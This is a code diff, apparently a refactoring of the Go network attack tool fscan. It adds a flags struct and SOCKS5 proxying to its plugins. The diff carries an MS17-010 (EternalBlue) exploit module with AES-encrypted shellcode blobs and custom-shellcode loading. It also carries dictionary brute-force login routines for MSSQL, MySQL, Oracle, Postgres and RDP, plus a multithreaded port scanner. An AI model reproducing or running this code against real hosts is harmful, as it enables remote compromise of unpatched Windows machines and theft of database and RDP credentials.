sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK"
@ -33,16 +34,16 @@ func MS17010EXP(info *common.HostInfo) {
sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx"
sc = AesDecrypt(sc_enc, key) sc = AesDecrypt(sc_enc, key)
default: default:
if strings.Contains(common.SC, "file:") { if strings.Contains(flags.SC, "file:") {
read, err := ioutil.ReadFile(common.SC[5:]) read, err := os.ReadFile(flags.SC[5:])
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", flags.SC, err)
common.LogError(errlog) common.LogError(errlog)
return return
} }
sc = fmt.Sprintf("%x", read) sc = fmt.Sprintf("%x", read)
} else { } else {
sc = common.SC sc = flags.SC
} }
} }

View File

@ -5,9 +5,10 @@ import (
"encoding/hex" "encoding/hex"
"errors" "errors"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
var ( var (
@ -23,11 +24,11 @@ var (
trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key)) trans2SessionSetupRequest, _ = hex.DecodeString(AesDecrypt(trans2SessionSetupRequest_enc, key))
) )
func MS17010(info *common.HostInfo) error { func MS17010(info common.HostInfo, flags common.Flags) error {
if common.IsBrute { if flags.IsBrute {
return nil return nil
} }
err := MS17010Scan(info) err := MS17010Scan(info, flags)
if err != nil { if err != nil {
errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err)
common.LogError(errlog) common.LogError(errlog)
@ -35,10 +36,10 @@ func MS17010(info *common.HostInfo) error {
return err return err
} }
func MS17010Scan(info *common.HostInfo) error { func MS17010Scan(info common.HostInfo, flags common.Flags) error {
ip := info.Host ip := info.Host
// connecting to a host in LAN if reachable should be very quick // connecting to a host in LAN if reachable should be very quick
conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", common.Socks5{Address: flags.Socks5Proxy}, time.Duration(flags.Timeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -48,7 +49,7 @@ func MS17010Scan(info *common.HostInfo) error {
//fmt.Printf("failed to connect to %s\n", ip) //fmt.Printf("failed to connect to %s\n", ip)
return err return err
} }
err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) err = conn.SetDeadline(time.Now().Add(time.Duration(flags.Timeout) * time.Second))
if err != nil { if err != nil {
//fmt.Printf("failed to connect to %s\n", ip) //fmt.Printf("failed to connect to %s\n", ip)
return err return err
@ -137,8 +138,8 @@ func MS17010Scan(info *common.HostInfo) error {
result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os) result := fmt.Sprintf("[+] %s\tMS17-010\t(%s)", ip, os)
common.LogSuccess(result) common.LogSuccess(result)
defer func() { defer func() {
if common.SC != "" { if flags.SC != "" {
MS17010EXP(info) MS17010EXP(info, flags)
} }
}() }()
// detect present of DOUBLEPULSAR SMB implant // detect present of DOUBLEPULSAR SMB implant

View File

@ -3,22 +3,23 @@ package Plugins
import ( import (
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
_ "github.com/denisenkom/go-mssqldb"
"github.com/shadow1ng/fscan/common"
) )
func MssqlScan(info *common.HostInfo) (tmperr error) { func MssqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return return
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["mssql"] { for _, user := range common.Userdict["mssql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MssqlConn(info, user, pass) flag, err := MssqlConn(info, user, pass, flags.Timeout)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -36,14 +37,14 @@ func MssqlScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func MssqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func MssqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(timeout)*time.Second)
db, err := sql.Open("mssql", dataSourceName) db, err := sql.Open("mssql", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()

View File

@ -3,22 +3,23 @@ package Plugins
import ( import (
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
_ "github.com/go-sql-driver/mysql"
"github.com/shadow1ng/fscan/common"
) )
func MysqlScan(info *common.HostInfo) (tmperr error) { func MysqlScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return return
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["mysql"] { for _, user := range common.Userdict["mysql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := MysqlConn(info, user, pass) flag, err := MysqlConn(info, user, pass, flags.Timeout)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -36,14 +37,14 @@ func MysqlScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func MysqlConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func MysqlConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(timeout)*time.Second)
db, err := sql.Open("mysql", dataSourceName) db, err := sql.Open("mysql", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()

View File

@ -3,22 +3,23 @@ package Plugins
import ( import (
"database/sql" "database/sql"
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
"strings" "strings"
"time" "time"
"github.com/shadow1ng/fscan/common"
_ "github.com/sijms/go-ora/v2"
) )
func OracleScan(info *common.HostInfo) (tmperr error) { func OracleScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return return
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["oracle"] { for _, user := range common.Userdict["oracle"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", user, -1) pass = strings.Replace(pass, "{user}", user, -1)
flag, err := OracleConn(info, user, pass) flag, err := OracleConn(info, user, pass, flags.Timeout)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -36,14 +37,14 @@ func OracleScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func OracleConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func OracleConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port)
db, err := sql.Open("oracle", dataSourceName) db, err := sql.Open("oracle", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxIdleTime(time.Duration(timeout) * time.Second)
db.SetMaxIdleConns(0) db.SetMaxIdleConns(0)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()

View File

@ -2,11 +2,12 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/shadow1ng/fscan/common"
"sort" "sort"
"strconv" "strconv"
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/common"
) )
type Addr struct { type Addr struct {
@ -14,10 +15,10 @@ type Addr struct {
port int port int
} }
func PortScan(hostslist []string, ports string, timeout int64) []string { func PortScan(hostslist []string, ports string, flags common.Flags) []string {
var AliveAddress []string var AliveAddress []string
probePorts := common.ParsePort(ports) probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts) noPorts := common.ParsePort(flags.NoPorts)
if len(noPorts) > 0 { if len(noPorts) > 0 {
temp := map[int]struct{}{} temp := map[int]struct{}{}
for _, port := range probePorts { for _, port := range probePorts {
@ -29,18 +30,18 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
} }
var newDatas []int var newDatas []int
for port, _ := range temp { for port := range temp {
newDatas = append(newDatas, port) newDatas = append(newDatas, port)
} }
probePorts = newDatas probePorts = newDatas
sort.Ints(probePorts) sort.Ints(probePorts)
} }
workers := common.Threads workers := flags.Threads
Addrs := make(chan Addr, len(hostslist)*len(probePorts)) Addrs := make(chan Addr, len(hostslist)*len(probePorts))
results := make(chan string, len(hostslist)*len(probePorts)) results := make(chan string, len(hostslist)*len(probePorts))
var wg sync.WaitGroup var wg sync.WaitGroup
//接收结果 // receive result
go func() { go func() {
for found := range results { for found := range results {
AliveAddress = append(AliveAddress, found) AliveAddress = append(AliveAddress, found)
@ -48,32 +49,35 @@ func PortScan(hostslist []string, ports string, timeout int64) []string {
} }
}() }()
//多线程扫描 // multithreaded scan
for i := 0; i < workers; i++ { for i := 0; i < workers; i++ {
go func() { go func() {
for addr := range Addrs { for addr := range Addrs {
PortConnect(addr, results, timeout, &wg) PortConnect(addr, common.Socks5{Address: flags.Socks5Proxy}, results, flags.Timeout, &wg)
wg.Done() wg.Done()
} }
}() }()
} }
//添加扫描目标 // add scan target
for _, port := range probePorts { for _, port := range probePorts {
for _, host := range hostslist { for _, host := range hostslist {
wg.Add(1) wg.Add(1)
Addrs <- Addr{host, port} Addrs <- Addr{host, port}
} }
} }
wg.Wait() wg.Wait()
close(Addrs) close(Addrs)
close(results) close(results)
return AliveAddress return AliveAddress
} }
func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { func PortConnect(addr Addr, socks5Proxy common.Socks5, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) {
host, port := addr.ip, addr.port host, port := addr.ip, addr.port
conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), socks5Proxy, time.Duration(adjustedTimeout)*time.Second)
defer func() { defer func() {
if conn != nil { if conn != nil {
conn.Close() conn.Close()
@ -88,9 +92,9 @@ func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64
} }
} }
func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { func NoPortScan(hostslist []string, ports string, flags common.Flags) (AliveAddress []string) {
probePorts := common.ParsePort(ports) probePorts := common.ParsePort(ports)
noPorts := common.ParsePort(common.NoPorts) noPorts := common.ParsePort(flags.NoPorts)
if len(noPorts) > 0 { if len(noPorts) > 0 {
temp := map[int]struct{}{} temp := map[int]struct{}{}
for _, port := range probePorts { for _, port := range probePorts {
@ -102,12 +106,13 @@ func NoPortScan(hostslist []string, ports string) (AliveAddress []string) {
} }
var newDatas []int var newDatas []int
for port, _ := range temp { for port := range temp {
newDatas = append(newDatas, port) newDatas = append(newDatas, port)
} }
probePorts = newDatas probePorts = newDatas
sort.Ints(probePorts) sort.Ints(probePorts)
} }
for _, port := range probePorts { for _, port := range probePorts {
for _, host := range hostslist { for _, host := range hostslist {
address := host + ":" + strconv.Itoa(port) address := host + ":" + strconv.Itoa(port)

View File

@ -3,22 +3,23 @@ package Plugins
import ( import (
"database/sql" "database/sql"
"fmt" "fmt"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
"strings" "strings"
"time" "time"
_ "github.com/lib/pq"
"github.com/shadow1ng/fscan/common"
) )
func PostgresScan(info *common.HostInfo) (tmperr error) { func PostgresScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if common.IsBrute { if flags.IsBrute {
return return
} }
starttime := time.Now().Unix() starttime := time.Now().Unix()
for _, user := range common.Userdict["postgresql"] { for _, user := range common.Userdict["postgresql"] {
for _, pass := range common.Passwords { for _, pass := range common.Passwords {
pass = strings.Replace(pass, "{user}", string(user), -1) pass = strings.Replace(pass, "{user}", string(user), -1)
flag, err := PostgresConn(info, user, pass) flag, err := PostgresConn(info, user, pass, flags.Timeout)
if flag == true && err == nil { if flag && err == nil {
return err return err
} else { } else {
errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err)
@ -27,7 +28,7 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
if common.CheckErrs(err) { if common.CheckErrs(err) {
return err return err
} }
if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * common.Timeout) { if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * flags.Timeout) {
return err return err
} }
} }
@ -36,13 +37,13 @@ func PostgresScan(info *common.HostInfo) (tmperr error) {
return tmperr return tmperr
} }
func PostgresConn(info *common.HostInfo, user string, pass string) (flag bool, err error) { func PostgresConn(info common.HostInfo, user string, pass string, timeout int64) (flag bool, err error) {
flag = false flag = false
Host, Port, Username, Password := info.Host, info.Ports, user, pass Host, Port, Username, Password := info.Host, info.Ports, user, pass
dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable") dataSourceName := fmt.Sprintf("postgres://%v:%v@%v:%v/%v?sslmode=%v", Username, Password, Host, Port, "postgres", "disable")
db, err := sql.Open("postgres", dataSourceName) db, err := sql.Open("postgres", dataSourceName)
if err == nil { if err == nil {
db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) db.SetConnMaxLifetime(time.Duration(timeout) * time.Second)
defer db.Close() defer db.Close()
err = db.Ping() err = db.Ping()
if err == nil { if err == nil {

View File

@ -3,6 +3,13 @@ package Plugins
import ( import (
"errors" "errors"
"fmt" "fmt"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common"
"github.com/tomatome/grdp/core" "github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog" "github.com/tomatome/grdp/glog"
@ -13,12 +20,6 @@ import (
"github.com/tomatome/grdp/protocol/t125" "github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt" "github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224" "github.com/tomatome/grdp/protocol/x224"
"log"
"os"
"strconv"
"strings"
"sync"
"time"
) )
type Brutelist struct { type Brutelist struct {
@ -26,11 +27,13 @@ type Brutelist struct {
pass string pass string
} }
func RdpScan(info *common.HostInfo) (tmperr error) { var sock5Proxy common.Socks5 = common.Socks5{Address: ""}
if common.IsBrute {
func RdpScan(info common.HostInfo, flags common.Flags) (tmperr error) {
if flags.IsBrute {
return return
} }
sock5Proxy = common.Socks5{Address: flags.Socks5Proxy}
var wg sync.WaitGroup var wg sync.WaitGroup
var signal bool var signal bool
var num = 0 var num = 0
@ -46,9 +49,9 @@ func RdpScan(info *common.HostInfo) (tmperr error) {
} }
} }
for i := 0; i < common.BruteThread; i++ { for i := 0; i < flags.BruteThread; i++ {
